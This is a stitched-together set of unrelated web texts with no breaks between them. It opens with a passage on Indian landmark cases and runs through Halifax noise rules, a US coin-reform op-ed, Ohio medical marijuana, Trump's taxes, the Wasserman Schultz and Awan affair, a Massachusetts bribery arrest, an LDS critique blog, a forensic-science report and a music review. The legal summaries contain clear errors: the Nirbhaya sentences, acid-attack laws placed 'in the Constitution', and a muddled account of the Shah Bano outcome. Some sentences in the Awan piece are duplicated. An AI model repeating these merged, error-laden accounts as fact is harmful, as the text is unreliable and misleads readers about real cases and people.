This landmark legislation stirred up a hornet’s nest and forced the indolent government to awaken, introducing the crucial question regarding consent.
IV. Mohd. Ahmed Khan vs Shah Bano Begum
A story that triggered personal law battles in India, as well as the debate on religion-specific laws.
At the age of 65, Begum Shah Bano, mother of five, was divorced by her husband Mohd. Ahmed Khan. As she filed for alimony, which was against the traditions of the Islamic culture, it lead to a long drawn fight against the shackles of personal law, striving for legal secularism.
The Verdict
As the running government at the time caved to election pressure, it sanctioned the Muslim Women Act, 1986, thus diluting this judgment in favour of Mohd. Ahmed Khan. However, ignoring these political appeasement tactics, the Supreme Court ruled in favour of Shah Bano and entitled her to maintenance under Section 125 of the Criminal Procedure Code in a landmark victory for Muslim women across India.
What does it mean for us?
As Shah Bano fought the legal system to break down discriminatory barriers for women, now all Muslim ex-wives are entitled to basic maintenance for a period of three months post their divorce, after which the burden of her maintenance is transferred to her relatives or the Wakf Board. This case also opened up the crucial debate on Uniform Civil Code in India, once again.
V. Nirbhaya Case
A brutal incident which mobilised a nation-wide movement, leading to reformed yet rigorous and harsh criminal law.
On the night of 16th December 2012, a young 23 year old girl and her companion were lured onto a moving bus by five men and a juvenile in South Delhi. As she suffered ruthless violence and sexual abuse, this case stood as one of the most important in the rape culture in India debate, culminating in an extreme but landmark judgment.
The Verdict
The Supreme Court held the four men guilty of rape, murder, unnatural offences and destruction of evidence, and later sentenced them to 10 years imprisonment. A while later, the fast track court allows the Juvenile Justice Board to pass its verdict for the juvenile, convicting him of murder and gang rape, sentencing him to three years at a correctional home.
As the entire trial process of this case was under the media spotlight and followed nation-wide, it paved the way to the amendment of the Criminal Act, 2013, which entails the Verma committee to reach a speedier form of justice. Additionally, it brought out major changes in the definitions of rape, gang rape, voyeurism, and so on, as well as an emphasis on new sections like sexual harassment and acid attacks in the Constitution.
Marking an important judicial decision, this case also led to the replacement of India’s Juvenile Justice Act, 2000, stating that the age for trial as an adult would be lowered from 18 years to 16 years for heinous crimes.
What does it mean for us?
This outrageous episode brought about widespread protests and a call for reformation of archaic rape laws in India. The most crucial observation to be made regarding this case is how the judicial system failed to separate society’s emotional reaction from objective proceedings, whereas the focus should have been on efficient investigation and prosecution of sex offenders. Following the knee-jerk judicial decision as an outcome of this case, the Juvenile Justice Act faced controversial criticism and debate stemming from its regressive nature. In the past, this sort of experience has shown that deterrence is one of the least effective theories of punishment, so one could question why such a path was chosen by a judicial system that is riddled with social outrage and subjectivity.
VI. Rajagopal vs State of Tamil Nadu
The power of freedom, privacy and the press.
This incident begins with a prisoner convicted of murder, who writes an autobiography of the events of the crime, detailing police officials and their involvement in the murder. He then requests the editor and associate editor of a weekly magazine in Madras, to publish it, in order to attain justice.
In the process of publishing, the media house gets arrested by the public officials, scared that their link to the murder case would be revealed. This led the media team, who ultimately became petitioners, to fight for a court order restraining numerous state bodies from interfering with the publishing of the autobiography of the prisoner.
The Verdict
Finally, the Supreme Court ruled in favor of the publication in an attempt to uphold freedom of expression and the right to privacy, as the press plays a crucial role in the governance of democracy and acts as the fourth estate. It also concluded that public officials can only recover damages if the published work misrepresented the truth.
What does it mean for us?
This 22-year- old judgment of the Supreme Court set a new bar in ambit of freedom of expression and right to privacy for the media.
VII. Vishaka vs State Of Rajasthan
Allowing the Court to travel beyond the traditional confines of law, the Vishaka case provides a universal solution for sexual harassment at the workplace.
Bhanwari Devi, a social worker in a village in Rajasthan, who tried to discourage a family from marrying off their one year old daughter, was brutally gang raped in an attempt to silence her. As she filed a petition in vain, the apathy and indifference shown by the police officials and the lower courts towards her plight triggered numerous women’s rights groups and NGOs to take up her cause. Even though the mobilization of the NGOs couldn’t help her situation directly, they re-directed their cause to bring a ray of hope to millions of women all over India. And their organised efforts went towards filing an order relating to rights of women in the workplace.
The Verdict:
In light of these discussions, the Supreme Court provided its prime verdict on sexual harassment in India, drawing guidelines for the protection of women in the workplace, in order to administer gender equality and prevent discrimination.
These guidelines included the responsibility upon an employer to prevent sexual harassment and provide techniques for the resolution of complaints within an office environment.
At present, the Vishaka Guidelines have been superseded by the Sexual Harassment of Women at Workplace Act, 2013.
What does it mean for us?
This was a major milestone for women in search of justice and equality in the workplace, establishing clear definition of sexual harassment.
Special mention: Salman Khan’s 2002 hit-and-run case
Municipal spokesperson Brendan Elliott said in an effort to find middle ground between downtown nightlife and downtown dwellers, staff have been reviewing several aspects of Halifax's noise bylaw.
One idea is to create an entertainment district where people should expect it to be loud. Staff are also looking at the Good Neighbour policy in Toronto, which has a combination of mandatory requirements for bars and "best practice" suggestions.
"What it does essentially is it puts the onus on bar owners to recognize their surroundings and act accordingly," Elliott said. "So that when they know that there's a condominium next door to a bar, does it make sense to have loudspeakers on the outside of your bar?"
The Dome is a well-known Halifax dance bar. (CBC)
Staff are working on a report to municipal council that should be delivered in the spring. They have not yet determined the boundaries or hours for an entertainment district.
"It would ultimately be a decision of regional council what that district would look like," Elliott said. "We would definitely be consulting with neighbourhoods that would be directly affected by a good neighbours policy."
Paul MacKinnon, the executive director of the Downtown Halifax Business Commission, said more people are moving into the downtown. He said the noise rules in downtown are generally the same as suburban areas, and that doesn't work in an area with lots of nightlife.
"Certainly, what we would like to see is a recognition that this is a busy area that has a vibrant nightlife," he said.
"We don't want to see that curtailed, but at the same time obviously we want to see more and more residential coming to the downtown. So we just feel it's fair to set a level of expectation that, if you are coming to live in an urban environment, a bit more noise is probably just going to be part of the package."
Tim Rissesco, the executive director of the Downtown Dartmouth Business Commission, said although downtown living continues to be popular he hasn't heard many complaints from residents about local bars.
"Their customers are often the people that live around them," he said. Complaints he has heard from time to time, he said, are motorcycles and cars, and sometimes people walking in the area, making loud noises late at night.
City staff are also considering granting noise exemptions for specific events like Jazzfest or Buskers, so organizers would not have to apply to regional council for the same exemption every year.
Applying for an exemption takes between eight and 10 weeks, and Elliott said sometimes event organizers fail to leave enough time to get the full approvals. In future, staff might be able to handle some requests using criteria defined by council.
As two former U.S. Mint directors, who represent neither side of this issue, we know that if Congress is serious about balancing the budget and reining in excessive spending, it should pass the Coins Act, a bipartisan plan for currency reform that would transform our money to meet the requirements of commerce in the 21st century. This is not a partisan issue — that's why we, a Democrat and a Republican Mint director, agree — the Coins Act takes an approach both sides can agree on.
The United States is one of only three industrialized nations, along with Argentina and Botswana, that still use low-denomination paper bills rather than high-denomination coins. The United Kingdom, Canada, Japan, European Union currency union members and dozens more nations save tens of millions each year from modernizing their currencies. They have proved that the switch is easy and consumer-friendly — and, most importantly, it reduces government waste.
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Billions of taxpayer dollars are being wasted with our outdated currency system, while the government struggles to pay its bills and adds to an already enormous national debt. That is why we must get smart about money and modernize our currency.
The three commonsense currency reforms in the Coins Act — switching from the dollar bill to a dollar coin, changing the composition of the nickel and suspending production of the penny — could save taxpayers up to $16.3 billion, according to recent estimates by bipartisan economists.
The production costs of the penny, nickel and dollar note are excessive and reflect an antiquated and atrophied currency system. Each penny costs 1.4 cents to produce, amounting to a loss to taxpayers of $1 billion over the next decade. And the nickel, due to its costly composition, has wasted nearly $367 million over the last 11 years.
We all know that a dollar isn't worth what it used to be. In fact, today a dollar has the same purchasing power that a quarter had in 1975. And spending power isn't the only problem with the dollar bill: The average dollar note is shredded and trashed after just a few years in circulation — 3.2 billion dollar bills are removed each year, adding more than 7 million pounds of waste to landfills. Dollar coins, on the other hand, have an estimated lifespan of 34 years.
American voters support these changes. Recent polling shows that nearly 70 percent of Republicans, independents and Democrats alike support switching from the dollar note to a dollar coin when informed of the taxpayer savings.
"It's as if your nerve endings are on fire," Testen said. "Oh my Lord, some episodes would last days. There were some days that I couldn't even get out of bed with the fibromyalgia."
Testen has turned to marijuana for relief.
"Finally, I tried it. I received, from a friend, some marijuana," she said. "And lo and behold, within five minutes, the pain went away."
Every time Testen takes a puff from her tightly rolled marijuana cigarettes, she risks prosecution because Ohio's laws outlawing marijuana do not make an exception for medical use.
A Columbus organization called the Ohio Rights Group wants to change that law. It has written a ballot proposal that would make it legal to use marijuana for medical purposes. It would also make industrial hemp legal.
When asked whether Ohio Rights Group organizer Mary Jane Borden wanted to legalize pot, she said, "I refrain from using the word pot. In fact, marijuana doesn't really appeal to me - cannabis is the scientific term, and I prefer cannabis."
Borden said she knows of many pain patients who have eliminated their need for pharmaceuticals because they were using marijuana.
"Isn't that a powerful statement when you consider the opiate problem in the state of Ohio? Isn't that a powerful statement?" Borden asked.
Dona Gibbs is inspired by the idea of legalizing marijuana.
"It's a civil right movement for me," Gibbs said.
The 22-year-old is pounding the streets collecting signatures. She's trying to get that amendment drafted by the Ohio Rights Group on the ballot.
10 Investigates wanted to know what Ohio might look like if it legalized marijuana, so it took a trip to Michigan, where marijuana is permitted for medical purposes.
10TV Reporter Paul Aker attended a Detroit gathering for marijuana users and vendors called the "THC Convention." THC is an abbreviation for the mind altering chemical found in marijuana. It is something pot smokers celebrated at the 3rd annual THC Expo in Detroit. THC is the mind altering part of marijuana.
Vendors at the THC convention sold everything from smoking devices to pouches of marijuana growing seeds.
Cleveland resident Kevin Gregory was at the convention advertising his company, Bhang Chocolate. Bhang sells marijuana infused chocolate as medicine. Gregory says it cannot legally operate in Ohio.
Gregory said he started the company to make a change, "I've just seen how it can improve people's lives and I want to be a part of that."
Angela Stewart also attended the event. She showed a severely scared leg that she said was the result of a car accident and 17 subsequent surgeries.
Stewart said marijuana has helped her cope with the pain.
"It's great for people like me who have chronic pain. Some people just want to get a card because they just want to get high. And, I don't believe in that at all,” she said.
The convention held another attraction for attendees---"the Vapor Bus." Organizers refer to the chartered bus as the Vapor Bus because people boarded it to smoke marijuana. Operators seemed to permit only those patients with Michigan medical cards to board.
However, the organizer did permit Aker to ride. Those who were on the bus agreed to on-camera interviews.
Once aboard, the passengers began smoking immediately. A thick cloud of smoke soon filled the interior. One smoker openly proclaimed that passengers were trying "different strands" of marijuana.
The smoker said his marijuana cigarette contained the strand known as "Alien Moonshine." He said he needed the marijuana because he suffers from severe migraine headaches.
Rick Wood, 53, also took the bus. Wood said he knows a lot of people with medical cards who smoke mostly for fun.
"It might be medicinal, but they're using it recreational," he said.
After about a half an hour, the bus stopped at a secret location. People filed out and walked down an empty side street. Standing guard outside of a bank of doors were two guards; they checked to insure visitors had medical marijuana cards.
Once inside, visitors were greeted by an intense marijuana fog. Vendors displayed large quantities of marijuana products. The products included plants, marijuana "buds" and marijuana candy. There were dozens of vendors and pounds of pot for sale. One man sold marijuana for $10 a gram.
Even in Michigan, this secret bazaar may not be legal. A spokeswoman from the Michigan attorney general's office said that only health care providers are supposed to dispense medical marijuana. .
But not everyone agrees marijuana should ever be legal.
Back in Columbus, Roslyn Campbell is cleaning up her life at a woman's shelter for drug addicts.
"My desire for marijuana was so strong, I really couldn't stop," Campbell said.
Campbell, 37, is a mother who said she has spent her entire adult life either getting high or fighting the psychological urge to get high.
Aker asked if she used while she was pregnant.
"Actually sir, I did," Campbell said. "I smoked marijuana with four of my six children."
Tears welled up in Campbell’s eyes.
"I blamed it on the fact I smoked marijuana was because I couldn't eat while I was pregnant; that was the only thing that would give me an appetite. When in truth it was pure selfishness,” she said.
Campbell said using marijuana detached her from reality.
"Doing drugs was way more important than being a mom. It hurts," she said.
Campbell said she's been clean for 10 months, but she's worried what will happen if Ohio opens the door to marijuana like Michigan has.
"Had I been able to get it like that, I would have been jacked up," Campbell said. "I don't even want to imagine that. In the name of Jesus, I don't."
Marci Seidel runs an Ohio non-profit called the Drug Free Action Alliance. Her group opposes making marijuana legal even for patients who are close to death.
"People certainly have the right to do what they need to do. And people are doing what they need to do. And people are doing what they need to do, and they're not going to jail and they're not being arrested," Seidel said. "If we do a sweeping wide public policy to handle a few people, we create so many more problems than we do or saving those few people that in those end stages. So let's be very thoughtful about how do that."
Seidel's group says marijuana should remain off limits as a medicine until the Food and Drug Administration approves it.
"Because we have a system in the United States that's well regarded all around the world for how we do our medicine," Seidel said. "That's the proper avenue for it.”
Borden countered by saying another federal agency--the DEA--opposes legalization and has essentially vetoed FDA studies.
"It's not because there isn't science there," Borden said. "It's because these agencies won't let it happen."
Borden rejected claims that marijuana legalization will "open the door" to social problems.
The documents show Trump and his wife Melania paying $5.3 million in regular federal income tax—a rate of less than 4 percent. However, the Trumps paid an additional $31 million under the alternative minimum tax, or AMT. Trump has previously called for the elimination of this tax.
“Before being elected president, Mr. Trump was one of the most successful businessmen in the world with a responsibility to his company, his family, and his employees to pay no more tax than legally required,” the White House said in a statement Tuesday night. “That being said, Mr. Trump paid $38 million even after taking into account large-scale depreciation for construction, on an income of more than $150 million, as well as paying tens of millions of dollars in other taxes such as sales and excise taxes and employment taxes and this illegally published return proves just that.”
Trump’s 2005 return also shows that he’d continued to benefit from the roughly $916 million loss he reported in his 1995 return— published last year by The New York Times . Using a loophole Congress closed in 1996, Trump converted that loss into a tax credit for the same amount he could offset against income.
2005 was the year that Trump, a newly minted reality-TV star, made his last big score as a real-life real-estate developer, when he sold two properties, one on Manhattan’s West Side and one in San Francisco, to Hong Kong investors, accounting for the lion’s share of his income that year.
President Trump has long been resistant to releasing his tax returns, repeatedly claiming during the election that an ongoing IRS audit had prevented him from doing so.
The Florida lawmaker used her position on the committee that sets the police force’s budget to press its chief to relinquish the piece of evidence Thursday, in what could be considered using her authority to attempt to interfere with a criminal investigation.
The Capitol Police and The Capitol Police and outside agencies are pursuing Imran Awan, who has run technology for the Florida lawmaker since 2005 and was banned from the House network in February on suspicion of data breaches and theft.
“My understanding is the the Capitol Police is not able to confiscate Members’ equipment when the Member is not under investigation,” Wasserman Schultz said in the “My understanding is the the Capitol Police is not able to confiscate Members’ equipment when the Member is not under investigation,” Wasserman Schultz said in the annual police budget hearing of the House Committee On Appropriations’ Legislative Branch Subcommittee.
“We can’t return the equipment,” Police Chief Matthew R. Verderosa told the Florida Democrat.
“I think you’re violating the rules when you conduct your business that way and you should expect that there will be consequences,” Wasserman Schultz said.
Rep. Wasserman Schultz promises “consequences” for Capitol Police chief investigating her staffer. (Screen shot/House Committee on Appropriations video)
As one of eight members of the Committee on Appropriations’ Legislative Branch subcommittee, Wasserman Schultz is in charge of the budget of the police force that is investigating her staffer and how he managed to extract so much money and information from members.
In a highly unusual exchange, the Florida lawmaker uses a hearing on the Capitol Police’s annual budget to spend three minutes repeatedly trying to extract a promise from the chief that he will return a piece of evidence being used to build an active case.
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“If a Member loses equipment and it is found by your staff and identified as that member’s equipment and the member is not associated with any case, it is supposed to be returned. Yes or no?” she said.
Police tell her it is important to “an ongoing investigation,” but presses for its return anyway.
A federal employee with knowledge of the situation and who requested anonymity told The Daily Caller News Foundation’s Investigative Group that as House authorities closed in on Imran Awan and his brothers, a laptop used by Imran was hidden in an unused crevice of the Rayburn House Office Building. Wasserman Schultz’s office is in Longworth House Office Building, a separate structure.
The laptop was later found by Capitol Police and seized because it was relevant to the criminal investigation, the source said.
The investigation is examining members’ data leaving the network and how Awan managed to get Members to place three relatives and a friend into largely no-show positions on their payrolls, billing (RELATED: Suspects Could Read Every Email Congressmen Sent And Received) The investigation is examining members’ data leaving the network and how Awan managed to get Members to place three relatives and a friend into largely no-show positions on their payrolls, billing $4 million since 2010.
The congresswoman characterizes the evidence as “belonging” to her and argues that therefore it cannot be seized unless Capitol Police tell her that she personally, as opposed to her staffer, is a target of the investigation.
US Capitol Police Chief Matthew R. Verderosa. (Screen shot/House Committee on Appropriations video)
When TheDCNF asked Wasserman Schultz Monday if it could inquire about her strong desire for the laptop, she said “No, you may not.” After TheDCNF asked why she wouldn’t want the Capitol Police to have any evidence they may need to find and punish any hackers of government information, she abruptly turned around in the middle of a stairwell and retreated back to the office from which she had come.
Her spokesman, David Dameron, then emerged to say “We just don’t have any comment.”
Though on the surface Wasserman Schultz would have been a victim of Awan’s scam, she has inexplicably protected him, circumventing the network ban by re-titling him as an “adviser” instead of technology administrator.
him and his wife, Hina Alvi, as having a “friendly personal relationship” with both Wasserman Schultz and Rep. Gregory Meeks of New York. Politico described him and his wife, Hina Alvi, as having a “friendly personal relationship” with both Wasserman Schultz and Rep. Gregory Meeks of New York.
That baffled a Democratic IT staffer, who said “I can’t imagine why she’d be that good of friends with a technology provider.”
“Usually if someone does bad stuff, an office is going to distance themselves” rather than incur political fallout for a mere staffer, he added. (RELATED: House IT Aides Fear Suspects Are Blackmailing Members With Their Own Data ) “Usually if someone does bad stuff, an office is going to distance themselves” rather than incur political fallout for a mere staffer, he added.
Wasserman Schultz resigned as Chairman of the Democratic National Committee in 2016 after Wikileaks published thousands of internal emails obtained by an as-yet unidentified hacker.
The last 30 seconds of the exchange can also be seen The last 30 seconds of the exchange can also be seen here
WATCH:
Massachusetts state Senatorwas arrested by the FBI on public corruption charges Tuesday morning following an 18-month undercover investigation.
The Democratic Senator was caught on tape stuffing bribe money into her bra and taking payoffs to push through a Roxbury nightclub liquor license. She is being charged with attempted extortion and theft of honest services as a state senator, stemming from a money-for-legislation sting operation.
Wilkerson stands accused of accepting eight bribes, totaling $23,500, in exchange for her influence on Beacon Hill.
The complaint alleges that:
In exchange for payment, Wilkerson pressured the Boston Licensing Board, the mayor and the City Council and held up pending legislation in the Senate, including legislation increasing the salaries of the Boston Licensing Board.
Wilkerson ultimately introduced legislation to increase the number of liquor licenses available in Boston, and then manipulated the timing of that legislation at the request of undercover agents. Between June 2007 and March 2008, Wilkerson took $8,500 in cash payments from an undercover agent and a cooperating witness to assist in obtaining a liquor license for the Dejavu nightclub in Roxbury. Wilkerson proposed that an undercover agent, posing as an out-of-state businessman, become involved in the development of a piece of state property in Roxbury. Wilkerson proposed legislation that directly designated a property to a private entity for development in order to avoid the ordinary bidding process.
Senate Republicans called for Wilkerson's resignation today as word spread that she had been arrested on federal corruption charges.
"This has moved far beyond the sad transgressions of her past," Senate Majority Leader Richard R. Tisei said in a statement. "The latest charges brought against Senator Wilkerson rise to a whole new level, and significantly tarnish the reputation not only of the Massachusetts Senate, but government as a whole."
Wilkerson has been embroiled in her fair share of scandals during her 15 years in office, including tax evasion.
If convicted, the senator could face up to 20 years in prison on each count.
View surveillance photos and video of charges against Diane Wilkerson below.
"The fact of the matter is this is hateful," Brooks said
(CNN) NAACP President Cornell William Brooks on Monday condemned Republican front-runner Donald Trump and said he represents a "kind of Jim Crow with hairspray and a blue suit."
"The fact of the matter is this is hateful. It is racist. It is bigoted. It is xenophobic. It represents a kind of Jim Crow with hairspray and a blue suit," Brooks told CNN's Wolf Blitzer on "The Situation Room." "Let's not underestimate what we're dealing with. This is a very, very ugly moment in America."
But Brooks said he doesn't hold anything against Americans who support Trump.
"I don't blame the people -- American citizens -- for their economic anxieties and a sense of desperation. The fact that their grasping at straws and they grasped onto a bigoted, demagogic billionaire speaks to their desperation, not necessarily his appeal or the strength of his platform," he said.
Now in fairness to Elder Bednar, I’ve heard this account from two different sources both in attendance at this meeting, and thus I relate the story relying upon second hand information. If any readers have also heard this same story, please correct or confirm the details.
My first reaction to such a statement is not good. Yet I fully understand as an LDS person raised in the church, that Elder Bednar is only stating what we teach. “When a ‘prophet’ speaks by the power of the Holy Ghost, it is scripture.” Elder Bednar obviously considers himself a prophet and many of us sustain him in that calling.
But, we are also taught that “when any person speaks by the power of the Holy Ghost, it is scripture.”
So why give more credence to the words of Elder Bednar than say… someone else claiming to speak by the Holy Ghost? The standard LDS answer is “because God’s house is a house of order and that’s why keys are so important. Whoever has the keys AND speaks by the power of the Holy Ghost is who you listen to.”
For nearly 170 years (post-Joseph), these men we sustain as Prophets, Seers, and Revelators have been able to more or less say “Let it be written, for I am scripture.” Their Conference talks are immortalized and their words are given as lessons and talks and made into refrigerator magnets all around the world for years and decades to come.
But to what end?
For me when someone (and I mean anyone, besides The Lord) says something akin to “I am scripture” the effect is to shut down any and all further communication or questions. The same can be said of many statements we tend to make as Mormons.
I’m reminded of a missionary companion who liked to one-up investigators who disagreed by “boldly” bearing his testimony. Its effect? The conversation usually stopped awkwardly. He taught other missionaries this principle too. “Whenever you can’t answer a question, just bear your testimony (really hard).”
One time we were having a great discussion with a Catholic gentleman. He was hung up on The Book of Mormon. His questions and concerns were sincere. Then it came. “Sir, I know The Book or Mormon is true beyond a shadow of any doubt and that this church is the only true and living church on the whole earth!” This man replied with his own testimony. “Well, I know The Book of Mormon is NOT true and that your church is NOT the only true church on the whole earth!” My companion was taken aback. I waited for him to say “IS NOT!” like a 4-year old who has no logical arguments left. Fortunately he didn’t.
To be fair, our investigator wasn’t saying he “knew” anything. He was merely demonstrating how strange and immature such grand statements sounded to him and how off-putting they were. The conversation usually just ends.
Even to members of the church familiar with such bravado, the effect of these traditional tactics can be very damaging.
To say “I know God lives,” five times in a row, for example, while increasing the pauses in between sentences, while climactically raising the tone of your voice each time, may just lead someone to believe you have literally stood in the Lord’s presence. This was a technique I observed from the late Elder Loren C. Dunn. If he had not actually seen God, would this be a good thing to do? Might this cause people to treat someone as a light and heap upon them their praise?
I spoke to a brother recently who provides security detail for the Brethren when they come to his area. He is a trained police officer. He told me that when an Apostle, Prophet or even a Seventy come nowadays, there are members who try to find out what hotel they are staying in so they can stalk them and try to meet them. He recently had to rescue a visiting GA from an overly excited LDS crowd, literally removing him from danger. The spared GA told this brother that it’s getting worse and worse as they travel around the world.
Curious, I asked why he believed members reacted like this around the Brethren. He said “It’s like they’re rock stars and people think that because they know the Savior, that if they can just touch them, something amazing will happen!” He then went on to say that a full grown man from his stake boasted that he shook Elder Ballard’s hand and was “never going to wash it again.”
Such adoration and idolatry is anti-Zion and anti-Christ. All of us can learn a lesson from this. Maybe you or I are not tempted by GA celebrity status, but our own claims may cause others to look to us as a light instead of to Him.
The Savior’s Example
The Savior of the world epitomized meekness and humility. When he was called “good,” he objected and deflected all praise to God (Matthew 19:17). When he gave talks, he quoted scripture, giving all recognition to the prophet he quoted. This despite the fact that it was He, the Great Jehovah, who had given the quote to begin with. Unlike any mortal, “prophet or not,” Jesus IS literally the Word of God. He, and only He, is Scripture.
When Jesus taught He did not often make bold self-promoting proclamations to induce obedience or to enhance his bona fides. Clearly He was entitled to, but He more often said:
Ye have heard that it was said by them of old time, Thou shalt not kill; and whosoever shall kill shall be in danger of the judgment. (Matthew 5:21) or “Blessed are the meek…”
He could have just as easily said “I am the Great Jehovah who once commanded you, Thou shalt not kill…” or “I the God of Heaven and Earth command you to be meek now before I pull your temple recommend.”
Jesus does not use His power and authority to compel obedience and adoration.
Although perfect Himself, He invited others to “Be ye therefore perfect, even as your Father which is in heaven is perfect.” (Matthew 5:48)
Jesus speaks in plainness and humility.
And then shall ye know that I have seen Jesus, and that he hath talked with me face to face, and that he told me in plain humility, even as a man telleth another in mine own language, concerning these things… (Ether 12:39)
Notice that Moroni’s claims are also plain, overt, and factual. He doesn’t leave the audience guessing whether he did or did not see the Lord.
Some Ideas to Consider
Whether leader or layperson, none of us is perfect. We can benefit from each others’ feedback and prayers. It’s a humbling and difficult experience to recognize or be made aware of our weaknesses. The Brethren need not feel threatened, condemned or judged by our feedback. They deserve our help as much as we deserve theirs. Furthermore, it is incumbent upon us to discern when they or anyone act and speak in the Lord’s name, otherwise we do them no favors and we only damn ourselves.
Here are just a few suggestions that I think would help us as members to NOT idolize the Brethren as well as to not set ourselves up as lights unto the world (2 Nephi 26:29).
We should never mislead people about what we know. We should not exaggerate our claims. If we haven’t seen Jesus or Angels, we should not make people believe we have. We should not mislead others about it by speaking in circles or by emphasizing how special our witness is. Let’s be honest and humble and direct ALL praise to our Lord. Only He can save.
Most of us can all do better in deflecting compliments and praise. Jesus said we should not even call one another Rabbi, which is to say Master or Teacher (Matthew 23:7). In my ward the CES contingency take turns suggesting that the other is one of the “Great Master Teachers of the Kingdom.” I believe such things to be devilish and destructive and yet all of us are tempted to heap praise upon each other. It’s our culture.
We should not often call people by their full names preceded with titles. Let’s drop the words president, elder, beloved, prophet, seer, revelator, general authority, etc. from our vocabulary when addressing someone. EVEN Jesus said to not call Him good! Do we really suppose He would have liked to be called Our Beloved President Jesus (add initial) Christ, Prophet, Seer, and Revelator, while in mortality? To do so is to desecrate Him; His calling. Why should we be greater than He? He was called “Jesus.” That should serve as our model when speaking to or about each other, no matter our calling. Titles and initials inflate egos.
Church Leaders not speaking at General Conference would send a powerful message if they did NOT sit on the stand. In fact, they could even dress normally, i.e. not to the nines in expensive suits and dresses (fine twined linen?) and they could serve as Ushers and Parking Attendants and assist the infirm. They should consider standing at the doorways rather than sitting in plush red seats where all can see. Didn’t the Savior teach us to be servants especially when we are viewed as greatest? (Matthew 32:11). Let the poor and the elderly sit in those seats.
General Authority families should not be given preferential seats at General Conference. They should not occupy the entire front section of the Conference Center as they currently do. These people should get in line with the rest of us for tickets. Why not let first year converts or investigators sit in those seats? Or the handicapped?
NO calling in the church should EVER BE REMUNERATED nor should anyone receive a stipend who teaches or serves in the church (Mosiah 18:24). The church knows that its 80,000+ missionaries and its 3+ million active members of the church tell everyone that what makes us different from all other churches is that no one is paid. The Brethren KNOW this is what we tell people. And yet some of us KNOW this is not true. It’s simply wrong to encourage the lie by not correcting the record. It’s dishonest. It’s immoral. It would be one thing perhaps if the brethren were merely being supported. This is simply not true. They earn very large sums of money as a direct result of their callings. The church needs to come clean and set the record straight and deal with the consequences.
ALL transactions and expenditures ought to be made available for members to see. Every contract, every piece of property bought or sold, every trip, every personal expense, every stipend, every salary, every bonus, every royalty ought to be made public.
Church leaders should not fly First Class as I have witnessed on more than one occasion. For those of you that don’t think this possible, here is a recent picture of President Nelson.
He’s apparently on an International flight from SLC to Germany, traveling with Elder Hallstrom accompanied by their wives and someone who appears to be Elder Nelson’s bodyguard (far right in the picture) ALL flying First Class. Retail price of each ticket? $13,000. Coach price? $1300. What would be wrong with sitting in a regular seat with normal folks? It would sure save a lot of tithing money. One ticket at this price is equal to two years of tithing for a person who makes $65,000 per year. Fifty people could have flown for the price likely paid for these five tickets! One ticket would pay for an entire mission for a young man or young woman who cannot afford it.
Are these men so frail and so important that they can’t sit in a normal airplane seat? Why not just pay the extra $100 for more leg room? “But everyone would bother them if they were in coach” one might argue. But, isn’t that their calling? To preach the gospel whenever they can? I’ve heard more than one apostle say we should pray when we get on a flight that we will be able to share the gospel with someone seated next to us. How does the future prophet of the church do that here surrounded by his wife on his right and protected by hired muscle on his left?
Church leaders should not be served the sacrament first, but rather should bless it and administer it as servants to the congregation as the D&C teaches.
There are many small but important changes the church could make that I believe would both help the church to better conform with scripture as well as prevent people from leaving. Again, brothers and sisters, it’s our duty as members of Christ’s church to sustain these men in their callings by sharing our concerns. We need not be angry or revile against anyone. We can share our concerns with love. If we don’t, then who will? Anti-Mormons? It is far better that we encourage positive change from within by “common consent” than have it imposed upon us by the wrath of God, when it’s likely too late. We who believe in the Restoration must open our mouths. Those in the chief seats would do well to stop trying to silence those who offer their concerns. It’s our church too. The Savior’s message to the church leaders of his day seems to still apply to us in our day. Will we heed the call of our Master?
The first is a progress report on revisions to a document, called the Reference Manual on Scientific Evidence, which is used for training the judiciary on scientific matters. The report highlights some areas where judges are still having trouble with coming to terms with scientific approaches and terminology, especially when it comes to statistics. The urgent need for this is highlighted by a draft report on the use of forensic evidence in the US, which was leaked to The New York Times. That draft suggests that many of the forensic "experts" that are testifying in criminal cases don't know statistics either, and have no sense of the potential problems with their techniques.
We'll do the good news first. The judiciary is rapidly coming to grips with scientific evidence. The Reference Manual on Scientific Evidence was produced by the NAS in the wake of Daubert, and plans are underway for its third edition. The progress report highlights that the second edition is now used in law schools and a variety of judicial training programs, and is widely regarded as essential for a number of these. The fact that judges are relying on it has forced many lawyers to adopt its use, and over 100,000 copies have now been sold.
That said, the committee has now identified a number of problems with the current edition. Chief among these is the use of statistics, where judges apparently have trouble following the basic terminology used by the field, or how it is used in specialties like epidemiology. A section on engineering issues, which was added in the wake of subsequent court rulings, was apparently considered superficial; various judges recommend that it either be significantly expanded, or dropped entirely. In the wake of the feedback, the report recommends largely retaining the current edition's structure and focus, but to add material on some of the areas of science that are showing up in the courtroom with greater regularity: forensic sciences, genetics, pharmacology, and computer science.
The need to get judges up to speed on forensics was highlighted by the story that appeared in The Times, which obtained a copy on of a report on the filed, also prepared by the NAS, that will be released later this month. The report is called a "sweeping critique" of nearly all aspects of forensic work on the US, which suffers from a lack of standards for both training and practice. Due to a lack of national standards, many of those practicing forensics have little background in science, statistics, or empirical practices, and, as a result, rely on techniques that are base on out-of-date information and untested principles. Because they don't know any better, these same individuals testify as forensics experts in court, and testify about their methods with an exaggerated sense of their robustness.
The Times quotes one expert as saying an arm of the Justice Department actually tried to block the review from going forward, and only funding by Congress ensured its completion.
Review / Favorite Track / For Fans Of / Atmosphere Levels / Links (Music & Social)
Over The Hills and Far Away...
Hey people of the earth, can’t say much while our planet is shaking from all over sides, so I’ll try to let the music speaks for itself once more. It’s been quite hard to come up with a wonderful band for me to share to you those days, not that there’s none, but I had the will to see other horizons, search new ways of letting the music guiding me through my journey, our journey. Standards don’t often change, a kickass riff will always be a kickass riff. But as psychedelic music, stoner rock, heavy psychedelic or whatever you call it is getting more and more interests, it is getting naturally harder for bands to sound and be unique and truly singular. And that is what makes the game worth playing right?
So I’m very pleased to present you today’s special :
HUMINOITA
While I was browsing on some live footage of Domovoyd’s performance at a local festival which looks amazingly good, (Uleåborg Festival Of Psychedelia) I ran into this band, I’m a simple man, I dug the artwork, I gave it a try. And what I discovered was something simply beautiful. The first melody directly hit me, it’s like a fast pass for a highly-frequented roller coaster, I was instantly on board. It first reminded me of Liquid Visions, I heard some quick similarities, but it was just here to comfort me, it was like saying to me “Welcome on board, you’re on the right plane, but we’re gonna make an extra detour this time.”. A comfortable and exciting feeling. HUMINOITA has this incredible capacity to explore new paths in a forest we thought we already know. The great chemistry that link the musicians together is here to initiate you to a whole new experience.
